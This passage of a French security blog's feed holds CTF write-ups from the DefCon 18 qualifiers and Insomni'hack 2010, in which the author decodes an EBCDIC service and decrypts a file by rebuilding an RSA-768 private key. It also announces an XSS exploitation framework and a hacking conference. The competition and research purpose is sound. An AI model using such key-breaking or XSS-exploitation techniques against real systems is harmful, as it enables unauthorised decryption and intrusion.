		<description><![CDATA[Contrairement à ce que certains pensent peut-être en voyant ce blog à l&#8217;abandon depuis plusieurs mois, non, je ne suis pas mort ! J&#8217;ai simplement été assez pris ces derniers temps, et j&#8217;essaye au passage de finaliser ma première release de XeeK pour la NDH le 19 juin&#8230; Ce week-end, j&#8217;ai rapidement participé aux qualifications [...]]]></description>
			<content:encoded><![CDATA[<p>Contrairement à ce que certains pensent peut-être en voyant ce blog à l&rsquo;abandon depuis plusieurs mois, non, je ne suis pas mort ! J&rsquo;ai simplement été assez pris ces derniers temps, et j&rsquo;essaye au passage de finaliser ma première release de <a href="http://www.segmentationfault.fr/projets/conference-sur-xeek-a-la-ndh-2010/">XeeK</a> pour la <a href="http://www.nuitduhack.com">NDH</a> le 19 juin&#8230;</p>
<p>Ce week-end, j&rsquo;ai rapidement participé aux qualifications du CTF de la <a href="http://www.defcon.org/">DefCon</a> 18. Je n&rsquo;avais pas refait de challenge depuis <a href="http://www.segmentationfault.fr/securite-informatique/insomnihack2010-hzv-won/">Insomni&rsquo;hack 2010</a> donc je me suis senti obligé de me décrasser un peu le cerveau. Ma participation à ces qualifications est toutefois restée limitée ; n&rsquo;ayant pas pu m&rsquo;inscrire à temps j&rsquo;ai du rejoindre une team à l&rsquo;arrache (Big-Daddy).<span id="more-796"></span></p>
<h3>Vue d&rsquo;ensemble</h3>
<p>Le challenge consistait en 6 séries de 5 épreuves, chacune intitulée de la sorte :</p>
<ul>
<li>Poursuit trivial (épreuves générales)</li>
<li>Crypto Badness (cryptographie)</li>
<li>Packet Madness (réseau)</li>
<li>Binary L33tness (cracking, applicatif)</li>
<li>Pwtent Pwnables (exploitations de services)</li>
<li>Forensics (analyse de fichiers)</li>
</ul>
<p>N&rsquo;ayant pas énormément de temps à consacrer à ce challenge, je n&rsquo;ai pas vraiment touché à tout mais me suis focalisé sur la crypto et le réseau.</p>
<p>Dans l&rsquo;ensemble j&rsquo;ai trouvé ça plutôt sympa, même si j&rsquo;ai quand même deux remarques négatives à faire :</p>
<ul>
<li>L&rsquo;interface du panneau d&rsquo;équipe codée en Java était vraiment plus que foireuse. Je ne sais pas si c&rsquo;était du au fait qu&rsquo;on soit plusieurs à partager le même compte, mais il fallait bouriner comme un dingue sur le bouton de validation afin d&rsquo;avoir un espoir de valider les réponses (valides), voire même parfois se reconnecter.</li>
<li>Certaines épreuves étaient relativement <a href="http://www.dico-des-mots.com/definitions/capilotracter.html">capilotractées</a>, dans le sens ou elles n&rsquo;étaient pas réalistes du tout et qu&rsquo;il fallait être à peu près aussi dingue que leur concepteur pour la valider. Enfin je pense que ça doit être à peu près pareil sur tous les challenges du genre&#8230;</li>
</ul>
<p>Étant loin d&rsquo;avoir réussi à valider toutes les épreuves, je vous propose de dévoiler la solution de deux d&rsquo;entre elles que j&rsquo;ai trouvées assez sympathiques.</p>
<h3>Packet Madness 200</h3>
<p>Dans cette épreuve, on fournissait une <a href="http://www.segmentationfault.fr/wp-content/uploads/2010/05/Copie-de-pkt200_55216efa7a182fb0.pcap_.txt">capture de paquets</a> (à renommer en .pcap), le but étant comme toutes les autres épreuves de trouver une passphrase de validation.</p>
<p>Sous Wireshark, on constate qu&rsquo;il s&rsquo;agit d&rsquo;un trafic TCP entre un client et un serveur. En utilisant l&rsquo;option &laquo;&nbsp;Follow TCP Stream&nbsp;&raquo;, on constate qu&rsquo;il semble s&rsquo;agir de trafic binaire&#8230;</p>
<div id="attachment_799" class="wp-caption aligncenter" style="width: 496px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2010/05/pkt200_1.png"><img class="size-full wp-image-799" title="pkt200_1" src="http://www.segmentationfault.fr/wp-content/uploads/2010/05/pkt200_1.png" alt="" width="486" height="246" /></a><p class="wp-caption-text">Capture Wireshark</p></div>
<p style="text-align: left;">Cependant, l&rsquo;indice laissé par l&rsquo;épreuve suggère que les deux machines communiquent avec une &laquo;&nbsp;langue&nbsp;&raquo; inhabituelle. S&rsquo;agirait-il d&rsquo;un encodage connu mais peu courant ? En regardant un peu les encodages supportés par Wireshark, on s&rsquo;aperçoit rapidement qu&rsquo;ils &lsquo;agit en fait de l&rsquo;<a href="http://fr.wikipedia.org/wiki/Extended_Binary_Coded_Decimal_Interchange_Code">EBCDIC</a>, encodage créé par IBM qui semble remonter à l&rsquo;époque quasi-préhistorique des cartes perforées&#8230; En utilisant cet encodage, on y voit tout de suite plus clair :</p>
<div id="attachment_800" class="wp-caption aligncenter" style="width: 647px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2010/05/pkt200_2.png"><img class="size-full wp-image-800" title="pkt200_2" src="http://www.segmentationfault.fr/wp-content/uploads/2010/05/pkt200_2.png" alt="Trafic décodé" width="637" height="293" /></a><p class="wp-caption-text">Trafic décodé</p></div>
<p style="text-align: left;">Il s&rsquo;agit donc d&rsquo;une sorte de telnet encodé en EBCDIC. Visiblement, le serveur propose plusieurs options, comme la création d&rsquo;un compte, l&rsquo;authentification, un mode maintenance et un affichage de news. L&rsquo;IP du serveur visible dans le dump, 192.42.96.121, existe bel et bien et héberge bien ce service sur le port 8686. Il semble donc que la réponse à l&rsquo;épreuve doive être obtenue en s&rsquo;y connectant. Malheureusement les outils classiques comme telnet et netcat ne supportent pas l&rsquo;EBCDIC. Mais c&rsquo;est sans compter Python, qui le supporte nativement, et qui va ainsi nous permettre de se coder un petit client maison :</p>
<pre style="text-align: left;">#!/usr/bin/python

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.41.96.121", 8686))

while True:
 data = s.recv(3000)
 print data.decode('EBCDIC-CP-BE').encode('ascii')

 input = raw_input()
 input_to_send = input.decode('ascii').encode('EBCDIC-CP-BE')+"%"
 s.send(input_to_send)</pre>
<p style="text-align: left;">Ce client permet d&rsquo;envoyer des commandes au service tout en affichant ses réponses. Toutefois, j&rsquo;ai constaté qu&rsquo;il était toujours en retard d&rsquo;un message par rapport au serveur. N&rsquo;ayant pas le temps d&rsquo;être perfectionniste, je m&rsquo;en suis contenté et ai pu me créer un compte sur le serveur avec la commande &laquo;&nbsp;a&nbsp;&raquo;, puis me loguer avec ce même compte (&laquo;&nbsp;l&nbsp;&raquo;). Le mode administrateur &laquo;&nbsp;m&nbsp;&raquo; ne fonctionnant pas, il ne restait que l&rsquo;affichage des news (&laquo;&nbsp;n&nbsp;&raquo;), qui donnait cette sortie :</p>
<pre>5/21/2010 - Defcon qualifiers are underway.

5/18/2010 - It's Bob Randolph's birthday today, wish him well
 if you see him

5/16/2010 - It's IBM old timer's night at the bowling alley.
 The key thing to remember at these things is that:
 once upon a time IBM ruled the world

4/29/2001 - First post! w00t!</pre>
<p>La news du 16 mai 2010 m&rsquo;interpelle du fait de la présence du mot &laquo;&nbsp;key&nbsp;&raquo;&#8230; Nous testons donc la réponse &laquo;&nbsp;<em>once upon a time IBM ruled the world</em>&nbsp;&raquo; à l&rsquo;épreuve, et après un léger acharnement collectif sur le team board, nous parvenons à valider ! Finalement, ce n&rsquo;était pas compliqué&#8230;</p>
<h3>Crypto Badness 400</h3>
<p>Dans cette épreuve épinglée de l&rsquo;indice &laquo;&nbsp;crack me&nbsp;&raquo;, on fournit une <a href="http://www.segmentationfault.fr/wp-content/uploads/2010/05/c400_95bcb7c5807a366d.tgz_.txt">archive tgz</a> (encore une fois à renommer). Celle-ci contient un fichier blob.dat visiblement chiffré et une clé publique pubkey.pem. Il s&rsquo;agit donc visiblement de casser la <a href="http://fr.wikipedia.org/wiki/Cryptographie_asym%C3%A9trique">clé publique</a> afin de retrouver la clé privée et déchiffrer le fichier .dat. Voici la clé publique :</p>
<pre>-----BEGIN RSA PUBLIC KEY-----
MGgCYQDK2YRVfJfgOUMaImrXJ/DG1D7z1BhGnxs3UEmyKYQ+6fg7H5dzisJ09fYf
QB8h8ZE+S2S7MbVaONOYwN/tALE5LwiJcRxEs1nnl2xhf8xzTwbj6VwmR2CRtS9G
LnlBPbUCAwEAAQ==
-----END RSA PUBLIC KEY-----</pre>
<p>Il s&rsquo;agit d&rsquo;une clé <a href="http://en.wikipedia.org/wiki/RSA">RSA</a>. Pour analyser ce genre de clé, l&rsquo;outil tout indiqué est <a href="http://www.openssl.org/">OpenSSL</a>. Cependant, une mauvaise surprise nous attend&#8230;</p>
<pre>$ openssl rsa -pubin -in pubkey.pem -text
unable to load Public Key
20934:error:0906D06C:PEM routines:PEM_read_bio:no start line:pem_lib.c:647:Expecting: PUBLIC KEY</pre>
<p>Impossible de lire la clé avec cet outil, donc. Un peu de recherche Google, et je trouve <a href="http://barelyenough.org/blog/2008/04/fun-with-public-keys/">quelqu&rsquo;un</a> qui a eu le même problème :</p>
<blockquote><p>The problem is this an RSA public key PEM or <a href="http://en.wikipedia.org/wiki/Distinguished_Encoding_Rules">DER</a> generated by Ruby’s <a href="http://ruby-doc.org/stdlib/libdoc/openssl/rdoc/index.html"><code>OpenSSL::PKey::RSA</code></a> are unreadable by <a href="http://www.openssl.org/">OpenSSL</a>, <a href="http://www.bouncycastle.org/">Bouncy Castle</a> and probably other  crypto tools.</p>
<p>The actual issue is that Ruby’s <code>OpenSSL::PKey::RSA#to_pem</code> and <code>#to_der</code> generate a <a href="http://tools.ietf.org/html/rfc3447#appendix-A.1.1">PKCS#1 public  key format</a> while the <code>openssl rsa</code> command only works <a href="http://en.wikipedia.org/wiki/PKCS">PKCS#8</a> formatted public keys.</p></blockquote>
<p>Ainsi, la clé semble avoir été générée avec le module OpenSSL de Ruby, et son format PKCS#1 empêche sa lecture avec OpenSSL. Qu&rsquo;à cela ne tienne, nous allons utiliser ce même module pour la lire ! On ouvre le shell Ruby (IRB) et on tape :</p>
<pre>$ irb
irb(main):001:0&gt; require 'openssl'
=&gt; true
irb(main):002:0&gt; a=OpenSSL::PKey::RSA.new(File.read("pubkey.pem"))
=&gt; -----BEGIN RSA PUBLIC KEY-----
MGgCYQDK2YRVfJfgOUMaImrXJ/DG1D7z1BhGnxs3UEmyKYQ+6fg7H5dzisJ09fYf
QB8h8ZE+S2S7MbVaONOYwN/tALE5LwiJcRxEs1nnl2xhf8xzTwbj6VwmR2CRtS9G
LnlBPbUCAwEAAQ==
-----END RSA PUBLIC KEY-----

irb(main):003:0&gt; a.params
=&gt; {"dmq1"=&gt;0, "dmp1"=&gt;0, "iqmp"=&gt;0, "n"=&gt;12301866845301177551304949
58384962720772853569595334792197322452151726400507263657518745202199
78646938995647494277406384592519255732630345373154826850791702612214
29134616704292143116022212404792747377940806653514195974598569021434
13, "d"=&gt;0, "p"=&gt;0, "e"=&gt;65537, "q"=&gt;0}</pre>
<p>On arrive ainsi à extraire le module (n) et l&rsquo;exposant public (e). Ce dernier étant quasiment toujours le même, seul le module importe ici. Pour savoir si nous avons une chance de le casser, regardons sa taille en bits :</p>
<pre>$ python
&gt;&gt;&gt; import math
&gt;&gt;&gt; n=12301866845301177551304949583849627207728535695953347921973224
52151726400507263657518745202199786469389956474942774063845925192557
32630345373154826850791702612214291346167042921431160222124047927473
7794080665351419597459856902143413
&gt;&gt;&gt; math.log(n, 2)
767.66426718447133</pre>
<p>Il semble codé sur 768 bits&#8230; Cela ne vous rappelle rien ? Le nombre <a href="http://en.wikipedia.org/wiki/RSA_numbers#RSA-768">RSA-768</a> a été cassé en décembre dernier. Et comme par hasard, c&rsquo;est bien le même qui est utilisé ici&#8230; Nous allons donc pouvoir utiliser sa factorisation pour générer la clé privée correspondante. Par chance, <a href="http://blog.stalkr.net/">StalkR</a> de la team <a href="http://nibbles.tuxfamily.org">Nibbles</a> a posté un <a href="http://nibbles.tuxfamily.org/?p=1040">article très similaire</a> issu du CTF <a href="http://www.codegate.org/Eng/">Codegate</a> il y a quelques mois. Il y indique la procédure à suivre pour générer le certificat, qui pour simplifier se résume à télécharger un <a href="http://stalkr.net/files/codegate/2010/7/e_os.h">en-tete d&rsquo;OpenSSL</a> ainsi qu&rsquo;un <a href="http://stalkr.net/files/codegate/2010/7/create_private.c">programme C</a> servant à générer la clé. On lance tout ça :</p>
<pre>$ gcc -lssl -o create_private create_private.c
$ ./create_private</pre>
<p>La clé privée est générée dans le fichier private.pem. Il ne reste alors plus qu&rsquo;à décrypter le fichier blob.dat en utilisant la commande :</p>
<pre>$ openssl rsautl -decrypt -inkey private.pem -in blob.dat -out output.txt</pre>
<p>Moment de vérité&#8230;</p>
<pre>$ cat output.txt
how long until 1024 falls by the wayside?</pre>
<p>Il s&rsquo;agit bien de la réponse à l&rsquo;épreuve (validée encore une fois grâce à un acharnement collectif).</p>
<p>Comme l&rsquo;épreuve précédente, ce n&rsquo;était techniquement pas compliqué, l&rsquo;obstacle majeur étant la non-reconnaissance de la clé par OpenSSL&#8230; En tout cas merci à StalkR pour son article qui a été d&rsquo;une grande aide.</p>
<h3>Conclusion</h3>
<p>Ces épreuves ont été l&rsquo;occasion pour moi de me remettre un peu dans le bain des CTFs. Le niveau était globalement assez élevé (plus dur que l&rsquo;année dernière à en croire certains), et nous n&rsquo;avons réussi à valider que quelques épreuves; les résultats sont disponibles <a href="http://www.ddtek.biz/qualsDC18scores.txt">ici</a>. Pour ceux que ça intéresse, vous trouverez le résultat de la dernière épreuve du Poursuit trivial <a href="http://scott.wolchok.org/t500.html">ici</a>.</p>
<p>Chapeau à Nibbles pour avoir terminé 10ème ; un grand bravo à eux. Et merci à tous ceux avec qui j&rsquo;ai challengé, en particulier à <a href="http://silkcut.wordpress.com/">Silkut</a>, MatToufoutu, et Dad. En espérant que nous parviendrons à créer une équipe HZV l&rsquo;année prochaine, du moins si nous avons plus de temps et de ressources&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/resume-dc18-ctf-quals/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Conférence sur XeeK à la NDH 2010</title>
		<link>http://www.segmentationfault.fr/projets/conference-sur-xeek-a-la-ndh-2010/</link>
		<comments>http://www.segmentationfault.fr/projets/conference-sur-xeek-a-la-ndh-2010/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 12:27:00 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Nuit du hack]]></category>
		<category><![CDATA[Projets]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[conférence]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[XeeK]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=789</guid>
		<description><![CDATA[Comme certains ont pu le voir sur Twitter ou sur le site de la NDH, j&#8217;ai repris le développement de XeeK, un projet de framework d&#8217;exploitation de faille XSS. J&#8217;ai déjà présenté une ébauche de ce projet à la Nuit Du Hack 2009, que j&#8217;ai stoppé entre temps, faute de temps (oui, je sais, c&#8217;est [...]]]></description>
			<content:encoded><![CDATA[<p>Comme certains ont pu le voir sur <a href="http://twitter.com/emiliengirault" target="_blank">Twitter</a> ou sur le site de la <a href="http://www.nuitduhack.com/conferences-fr-conferences-salon-challenge-hack.htm" target="_blank">NDH</a>, j&rsquo;ai repris le développement de <a href="http://www.segmentationfault.fr/projets/xeek-framework-exploitation-xss/">XeeK</a>, un projet de framework d&rsquo;exploitation de faille XSS. J&rsquo;ai déjà présenté une ébauche de ce projet à la Nuit Du Hack 2009, que j&rsquo;ai stoppé entre temps, faute de temps (oui, je sais, c&rsquo;est mal). Mais rassurez-vous : début janvier, je me suis remis en tête de reprendre ce projet et d&rsquo;en publier une version stable à la NDH 2010. En attendant la mise en place d&rsquo;une page dédiée au projet, voici quelques informations sur les nouveautés à venir.</p>
<p><span id="more-789"></span></p>
<h3>XeeK is not dead</h3>
<p>Ainsi, je travaille activement sur le projet depuis plus d&rsquo;un mois. J&rsquo;ai profité de l&rsquo;expérience de mes collègues pour faire une petit brainstorm sur l&rsquo;état du projet, et ainsi obtenir de nouvelles idées. Comme certaines de ces idées remettaient en cause la structure mise en place, j&rsquo;ai préféré reprendre le développement du projet from scratch.</p>
<h3>Quoi de neuf depuis 2009 ?</h3>
<p>Plusieurs personnes ont développé des outils aux fonctionnalités similaires (Beef, XSS Shell, etc). Plutôt que de réinventer la roue, j&rsquo;ai préféré m&rsquo;inspirer de ces outils afin d&rsquo;intégrer leurs bonnes idées dans la plateforme. Voici quelques unes des nouvelles fonctionnalités prévues pour le moment : (cette liste est susceptible d&rsquo;évoluer dans les mois à venir)</p>
<ul>
<li>L&rsquo;architecture est désormais de type client &#8211; serveur</li>
<li>Les deux entités communiquent via une API basée sur HTTP/JSON</li>
<li>Cette architecture permettra de développer de multiples clients, un peu sur le modèle de Metasploit :
<ul>
<li>Interface console</li>
<li>Interface Web</li>
<li>Interface graphique (applicative)</li>
<li>Pourquoi pas une extension Firefox</li>
</ul>
</li>
<li>Abandon du concept de &laquo;&nbsp;scheduler&nbsp;&raquo; ; les instructions sont désormais toujours récupérées dynamiquement</li>
<li>Concept de chaine d&rsquo;exploits : suite d&rsquo;instructions qui s&rsquo;enchaînent</li>
<li>De nouveaux exploits sont prévus
<ul>
<li>Scan de port du réseau interne</li>
<li>Récupération d&rsquo;historique</li>
<li>Proxy</li>
</ul>
</li>
</ul>
<p>Au niveau technique, ce nouveau XeeK nécessitera PHP &gt;= 5.3.0 (à cause des <a href="http://php.net/manual/fr/language.oop5.late-static-bindings.php" target="_blank">Late Static Bindings</a>), MySQL ainsi que Python pour l&rsquo;interface en ligne de commande.</p>
<h3>Licence</h3>
<p>Ce projet est développé principalement dans le cadre de mon temps R&amp;D chez Sysdream. Il sera diffusé en GPL suite à la conférence que je donnerai à la prochaine <a href="http://www.nuitduhack.com/conferences-fr-conferences-salon-challenge-hack.htm" target="_blank">Nuit Du Hack</a>. Un SVN ainsi qu&rsquo;un wiki seront certainement mis en place pour permettre aux intéressés de récupérer les sources ainsi que la documentation.</p>
<p>En attendant le 19 juin, si vous avez des idées / suggestions, n&rsquo;hésitez pas <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/projets/conference-sur-xeek-a-la-ndh-2010/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>George Hotz sera à la Nuit Du Hack 2010</title>
		<link>http://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-georges-hotz/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-georges-hotz/#comments</comments>
		<pubDate>Thu, 11 Feb 2010 14:41:16 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Evénement]]></category>
		<category><![CDATA[Nuit du hack]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[challenge]]></category>
		<category><![CDATA[conférence]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=766</guid>
		<description><![CDATA[La Nuit Du Hack 2010 aura lieu le 19 et 20 juin en plein centre de Paris. Comme les autres années, cet événement convivial a pour but de regrouper tous les passionnés de hacking et sécurité informatique, d&#8217;échanger librement et de tester ses connaissances par la pratique. Mais par rapport à 2009, cette année réserve [...]]]></description>
			<content:encoded><![CDATA[<p>La Nuit Du Hack 2010 aura lieu le 19 et 20 juin en plein centre de Paris. Comme les autres années, cet événement convivial a pour but de regrouper tous les passionnés de hacking et sécurité informatique, d&rsquo;échanger librement et de tester ses connaissances par la pratique. Mais par rapport à 2009, cette année réserve son lot de nouveautés&#8230; puisque <strong>George Hotz</strong> présentera une conférence sur le cracking de la PS3 !<span id="more-766"></span></p>
<h3>La PS3 retournée par George Hotz</h3>
<p>Cette année, nous invitons des &laquo;&nbsp;VIP&nbsp;&raquo; pour présenter des conférences inédites. La liste définitive n&rsquo;est pas encore connue, néanmoins la présence de<strong> </strong><a href="http://fr.wikipedia.org/wiki/George_Hotz" target="_blank">George Hotz</a> a été confirmée. Aussi connu sous le pseudo <a href="http://twitter.com/geohot" target="_blank">GeoHot</a>, cet étudiant du <a href="http://www.segmentationfault.fr/semestre-etats-unis/arrivee-au-rit/" target="_blank">RIT</a> est le premier à avoir jailbreaké l&rsquo;<a href="http://iphonejtag.blogspot.com/2007/08/full-hardware-unlock-of-iphone-done.html" target="_blank">iPhone</a>, et <a href="http://www.techno-science.net/?onglet=news&amp;news=7447" target="_blank">plus récemment</a> la <a href="http://geohotps3.blogspot.com/" target="_blank">PS3</a>. C&rsquo;est sur le cracking cette dernière console que portera sa conférence.</p>
<h3>Call for papers</h3>
<p>Bien entendu, présenter une conférence n&rsquo;est pas réservé aux VIP. Nous recherchons d&rsquo;ailleurs activement des volontaires souhaitant présenter leurs travaux pour des conférences d&rsquo;une trentaine de minutes. Si vous êtes intéressés, n&rsquo;hésitez pas à <a href="http://www.nuitduhack.com/conferences-fr-conferences-salon-challenge-hack.htm" target="_blank">soumettre</a> votre proposition au staff !</p>
<h3>Une péniche de 3 étages</h3>
<p>Comme l&rsquo;année dernière, l&rsquo;événement aura lieu sur une péniche. Mais cette fois-ci, nous avons pris le gabarit supérieur ! Avec ses 3 étages, la péniche <a href="http://www.nuitduhack.com/programme-fr-conferences-salon-challenge-hack.htm" target="_blank">Concorde Atlantique</a> sera en mesure d&rsquo;accueillir pas moins de 400 participants.</p>
<h3>Do you speak English?</h3>
<p>Jusqu&rsquo;ici restée 100% francophone, la Nuit Du Hack devient pour la première fois bilingue, et se voit traduite par &laquo;&nbsp;Night Da Hack&nbsp;&raquo; en Anglais. Le but étant bien sur de rendre l&rsquo;événement accessible à nos amis anglophones venant de toute l&rsquo;Europe, des États-Unis, et partout ailleurs. Certaines conférences seront données en Anglais, d&rsquo;autres en Français.</p>
<h3>Ateliers</h3>
<p>A l&rsquo;image de la DEF CON, nous organiserons des ateliers en parallèle des conférences et challenges. Chacun centré sur un thème particulier, leur but sera de favoriser la mise en pratique pour les participants. Nous recherchons également des volontaires pour présenter des ateliers (ex: lockpicking, manipulation d&rsquo;outils tels que Metasploit, Maltego, etc), n&rsquo;hésitez pas à <a href="http://www.nuitduhack.com/conferences-fr-conferences-salon-challenge-hack.htm" target="_self">vous faire connaître</a> si vous avez des idées !</p>
<h3>Capture The Flag</h3>
<p>Comme l&rsquo;année dernière, le challenge sera un &laquo;&nbsp;Capture The Flag&nbsp;&raquo;. Pour les néophytes, il s&rsquo;agit d&rsquo;un concours par équipes de 5, dans lequel chaque équipe se voit remettre un serveur hébergeant un certain nombre de services vulnérables. Son but est de protéger son serveur en maintenant ses services disponibles, tout en attaquant les serveurs ennemis et en faisant tomber leurs services. Pour gagner des points, il faut trouver des failles ou bien patcher ses services. Chaque service qui tombe fait perdre un certain nombre de points par minute à l&rsquo;adversaire. Le staff disposera en parallèle d&rsquo;un serveur de monitoring pour être en mesure de comptabiliser les points en temps réel.</p>
<p>Le CTF est limité à 10 équipes de 5, alors <a href="http://www.nuitduhack.com/challenges-fr-conferences-salon-challenge-hack.htm" target="_blank">inscrivez-vous</a> vite !</p>
<h3>Challenge public</h3>
<p>Pour les gens n&rsquo;ayant que peu d&rsquo;expérience en pentesting, nous mettrons à disposition de tous un challenge ouvert. Il s&rsquo;agira d&rsquo;un serveur accessible en Wifi hébergeant des épreuves communes.</p>
<h3>Prix</h3>
<p>Les gagnants du CTF se verront remettre divers prix offerts par <a href="http://www.sysdream.com/" target="_blank">Sysdream</a> :</p>
<ul>
<li>Livres techniques sur la sécurité</li>
<li>Hardware (laptop, etc)</li>
<li>Certifications en sécurité (<a href="http://www.sysdream.com/section_124/Formation-Certified-Ethical-Hacker.html" target="_blank">CEH</a>, <a href="http://www.sysdream.com/section_125/Formation-EC-Council-Certified-Security-Analyst.html" target="_blank">ECSA/LPT</a>, <a href="http://www.sysdream.com/section_142/Certification-Management-Certified-Information-Systems-Security-Professional.html" target="_blank">CISSP</a>, etc.) reconnues mondialement</li>
</ul>
<h3>Pour plus d&rsquo;infos</h3>
<p>Pour vous inscrire ou pour toute information complémentaire, n&rsquo;hésitez pas à consulter le <a href="http://www.nuitduhack.com/accueil-fr-nuit-du-hack-2010.htm" target="_blank">site de la Nuit Du Hack</a> ! Vous y trouverez notamment des photos et vidéos des <a href="http://www.nuitduhack.com/archives-fr-archives-nuit-du-hack.htm" target="_blank">années passées</a>. J&rsquo;ai également posté <a href="http://www.segmentationfault.fr/categories/evenement/nuit-du-hack/">quelques articles</a> au sujet des dernières éditions sur ce blog.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-georges-hotz/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Insomni&#8217;hack 2010 : HZV won</title>
		<link>http://www.segmentationfault.fr/securite-informatique/insomnihack2010-hzv-won/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/insomnihack2010-hzv-won/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 20:42:26 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Evénement]]></category>
		<category><![CDATA[Nuit du hack]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[challenge]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=752</guid>
		<description><![CDATA[Ce week-end, c&#8217;est avec trois membres de HZV (Crashfr, Virtualabs, et Fluxius) que je me suis rendu à Insomni&#8217;hack, un challenge de hacking se déroulant à Genève. Le challenge était au départ individuel, mais nombreux étaient ceux qui, comme nous, s&#8217;entre-aidaient. Le but était simple : valider un maximum d&#8217;épreuves avant 1h du matin. Au [...]]]></description>
			<content:encoded><![CDATA[<p>Ce week-end, c&rsquo;est avec trois membres de <a href="http://www.thehackademy.net/index.php" target="_blank">HZV</a> (Crashfr, Virtualabs, et Fluxius) que je me suis rendu à <a href="http://www.scrt.ch/pages/concours10.html" target="_blank">Insomni&rsquo;hack</a>, un challenge de hacking se déroulant à Genève. Le challenge était au départ individuel, mais nombreux étaient ceux qui, comme nous, s&rsquo;entre-aidaient. Le but était simple : valider un maximum d&rsquo;épreuves avant 1h du matin. Au final, c&rsquo;est notre équipe qui a remporté le challenge. Voici un petit résumé de quelques épreuves intéressantes dont je me rappelle.</p>
<p><span id="more-752"></span></p>
<p>Le challenge était composé de 9 séries d&rsquo;épreuves, chacune étant d&rsquo;un type différent. Décidés à en valider un maximum, nous nous sommes répartis le travail entre tous les membres de l&rsquo;équipe, en centralisant les solutions. Et c&rsquo;est moi qui me suis retrouvé désigné comme étant la personne en charge de tout valider <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Enfin, deux difficultés notables étaient à souligner : les prises électriques étaient suisses (merci à la personne nous ayant prêté un adaptateur)  et aucune connexion internet n&rsquo;était fournie.</p>
<div class="wp-caption aligncenter" style="width: 458px"><img title="L'équipe HZV" src="http://lh3.ggpht.com/_Rzr3MErwyvk/S138HX8cIbI/AAAAAAAAEzQ/rn8klY2SN4M/s640/024.JPG" alt="L'équipe HZV" width="448" height="336" /><p class="wp-caption-text">L&#39;équipe HZV</p></div>
<p style="text-align: center;">
<h3>One Time Pad</h3>
<p>J&rsquo;ai commencé par la première épreuve de la série intitulée &laquo;&nbsp;One Time Pad&nbsp;&raquo;, portant sur la crypto. Il s&rsquo;agissait de décrypter un fichier chiffré avec l&rsquo;algorithme <a href="http://fr.wikipedia.org/wiki/One_Time_Pad" target="_blank">One Time Pad</a>, sachant que l&rsquo;on nous donnait un couple plaintext &#8211; ciphertext chiffré avec la même clé&#8230; Un simple XOR entre les deux permettait donc de révéler cette dernière, et donc de déchiffrer le message.</p>
<h3>RSA</h3>
<p>Après cet échauffement, on enchaîne avec du RSA. La deuxième épreuve OTP consiste à casser un message chiffré avec une implémentation de RSA vraisemblablement pas terrible niveau sécurité. Le message en question était composé d&rsquo;un header qui n&rsquo;était autre que la concaténation de l&rsquo;exposant public (e) et du module (N) utilisé pour chiffrer le message, le tout encodé en base 64. Étant donné que N avait une taille ridiculement faible (une trentaine de bits), il était très facile de le factoriser. Personnellement, je me suis servi de l&rsquo;outil RSA Tool 2, permettant non seulement de factoriser N mais aussi de retrouver l&rsquo;exposant privé (d). Une fois d obtenu, il suffisait d&rsquo;utiliser l&rsquo;outil fourni pour déchiffrer le message.</p>
<h3>Follow the white rabbit</h3>
<p>La 3ème épreuve de la série consistait à lire un message dans une image représentant un lapin, elle faisait donc appel à de la stéganographie. Notre intuition nous disait qu&rsquo;il y avait du <a href="http://fr.wikipedia.org/wiki/Bit_de_poids_faible" target="_blank">LSB</a> dans l&rsquo;air, mais nous n&rsquo;avons pas eu le temps de coder un outil sur place (nous avions la flemme de lire les specs du BMP). Plusieurs membres de notre équipe ont fait une fixation sur ce lapin, espérant y voir un &laquo;&nbsp;message subliminal&nbsp;&raquo; (private joke)&#8230; Suite à  la fin de ce billet.</p>
<div class="wp-caption aligncenter" style="width: 458px"><img title="F|UxIuS, dont le pseudo a donné mal à la tête au staff" src="http://lh6.ggpht.com/_Rzr3MErwyvk/S138F8iZ1kI/AAAAAAAAEzI/R2N0hGpDxqE/s640/011.JPG" alt="F|UxIuS, dont le pseudo a donné mal à la tête au staff" width="448" height="336" /><p class="wp-caption-text">F|UxIuS, dont le pseudo a donné mal à la tête au staff</p></div>
<h3>Shoot the caribou</h3>
